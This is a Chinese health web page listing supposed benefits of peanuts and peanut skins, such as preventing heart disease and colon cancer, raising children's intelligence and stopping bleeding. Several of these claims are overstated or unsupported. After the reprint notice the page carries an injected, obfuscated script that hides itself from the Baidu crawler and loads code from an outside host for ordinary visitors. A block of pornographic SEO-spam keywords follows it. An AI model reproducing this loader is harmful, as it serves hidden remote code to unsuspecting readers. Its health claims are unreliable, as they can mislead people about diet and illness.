當前位置:首頁 > 飲食 > 食物營養 > 正文

吃花生有什么好處?促進細胞發育

2015-10-30 09:45:01  來源:360常識網   熱度:
導語:花生油中含大量的亞油酸,這種物質可使人體內膽固醇分解為膽汁酸排出體外。避免膽固醇在體內沉積,減少高膽固醇發病機會,能夠防止冠心病和動脈硬化。

吃生花生時一般都是連著紅衣一起吃,花生紅衣可是個好東西。女性朋友,尤其是處于經期、孕期、產后和哺乳期的女性更應該常吃,對于養血、補血很有好處。同時,花生紅衣還有生發、烏發的效果,常吃能使頭發更加烏黑靚麗。

吃花生有什么好處?促進細胞發育

吃花生有什么好處?促進細胞發育

吃花生對我們有什么好處

防止冠心病

花生油中含大量的亞油酸,這種物質可使人體內膽固醇分解為膽汁酸排出體外。避免膽固醇在體內沉積,減少高膽固醇發病機會,能夠防止冠心病和動脈硬化。

滋血通乳

花生中含豐富的脂肪油和蛋白質,對產后乳汁不足者,有滋補氣血,養血通乳作用。

預防腸癌

花生纖維組織中的可溶性纖維被人體消化吸收時,會像海綿一樣吸收液體和其他物質,然后膨脹成膠帶體隨糞便排出體外。當這些物體經過腸道時,與許多有害物質接觸,吸取某些毒素,從而降低有害物質在體內的積存和所產生的毒性作用,減少腸癌發生的機會。

促進人體的生長發育

花生中鈣含量極高,鈣是構成人體骨骼的主要成分,故多食花生,可以促進人體的生長發育。

促進細胞發育,提高智力

花生蛋白中含十多種人體所需的氨基酸,其中賴氨酸可使兒童提高智力,谷氨酸和天門冬氨酸可促使細胞發育和增強大腦的記憶能力。

潤肺止咳

花生中含有豐富的脂肪油、可以起到潤肺止咳的作用,常用于久咳氣喘,咯痰帶血等病癥。

抗老化,防早衰

花生中所含有的兒茶素對人體具有很強的抗老化的作用,賴氨酸也是防止過早衰老的重要成分。常食花生,有益于人體延緩衰老,故花生又有“長生果”之稱。

凝血止血

花生衣中含有油脂和多種維生素,并含有使凝血時間縮短的物質,能對抗纖維蛋白的溶解,有促進骨髓制造血小板的功能,對多種出血性疾病,不但有止血的作用,而且對原發病有一定的治療作用,對人體造血功能有益。”

花生怎樣吃最有助養胃?

吃生花生有一個突出的好處是能起到養胃的作用,因為花生富含不飽和脂肪酸,不含膽固醇,含有豐富的膳食纖維,是天然的低鈉食物。每天吃適量生花生(不要超過50克),對養胃有一定好處。

吃生花生時一般都是連著紅衣一起吃,花生紅衣可是個好東西。女性朋友,尤其是處于經期、孕期、產后和哺乳期的女性更應該常吃,對于養血、補血很有好處。同時,花生紅衣還有生發、烏發的效果,常吃能使頭發更加烏黑靚麗。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
3D动漫精品一区二区三区| 国产91成人精品亚洲精品| 久久精品国产一区二区三区不卡| 2021国产精品自在拍在线播放| 国产69久久精品成人看小说| 99久在线精品99re6视频| 伊人精品久久久久7777| 97精品国产手机| 久久香蕉精品视频| 亚洲精品99久久久久中文字幕| 国产精品久久久久久久久免费| 久久精品国产精品国产精品污| 日韩精品一区二区三区影院| 国产精品中文字幕在线观看| 久久精品国产大片免费观看| 国产精品高清2021在线| 国产精品老熟女露脸视频| 国产精品久久亚洲不卡动漫| 久久国产精品久久久久久久久久| 国产999精品久久久久久| 热99re久久精品精品免费| 亚洲AV无码国产精品色| 久久亚洲精品中文字幕无码| 91精品最新国内在线播放| 精品一区二区三区中文| 日韩欧美亚洲国产精品字幕久久久| 久久久久久夜精品精品免费啦| 亚洲精品乱码久久久久久自慰| 无码人妻精品一区二区蜜桃AV| MM1313亚洲国产精品| 国产精品一区二区久久| 亚洲国产精品张柏芝在线观看| 久久久无码精品国产一区| 中文字幕久精品免费视频| 国产精品无码国模私拍视频| 国产在线午夜卡精品影院| 国产精品电影网在线好看| 国产成人精品一区二三区熟女| 久久91精品国产91| 国产精品久久成人影院| 精品久久久久久蜜臂a∨|